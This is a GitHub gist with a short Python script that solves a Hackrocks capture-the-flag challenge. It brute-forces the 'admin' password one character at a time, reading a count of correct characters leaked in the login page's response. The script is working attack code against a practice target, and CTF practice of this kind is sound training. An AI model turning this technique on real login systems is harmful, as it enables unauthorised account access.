Skip to content

Instantly share code, notes, and snippets.

@HenrikThien
Created February 16, 2021 19:57
Show Gist options
  • Save HenrikThien/d58cd9eb2b1d8019e3c28e282ca2dac7 to your computer and use it in GitHub Desktop.
Save HenrikThien/d58cd9eb2b1d8019e3c28e282ca2dac7 to your computer and use it in GitHub Desktop.
Ironhack Hackrocks password brutforce
import requests
import re
url = "https://challenges.hackrocks.com/the-chattering-programmer/login"
data = {'login': 'admin', 'password': ''}
charSet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
passwordString = []
lastCorrectCount = 0
for i in range(24):
passwordString.append("0")
for i in range(24):
for j in charSet:
passwordString[i] = j
print(''.join(passwordString))
data["password"] = ''.join(passwordString)
response = requests.post(url, data)
textSearch = re.findall(r'<p>.*?</p>', response.text)[0]
correctResponseCount = int(re.search(r'\d+', textSearch).group())
print(textSearch)
print(correctResponseCount)
if (correctResponseCount > lastCorrectCount):
lastCorrectCount = lastCorrectCount + 1
break
print(passwordString)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment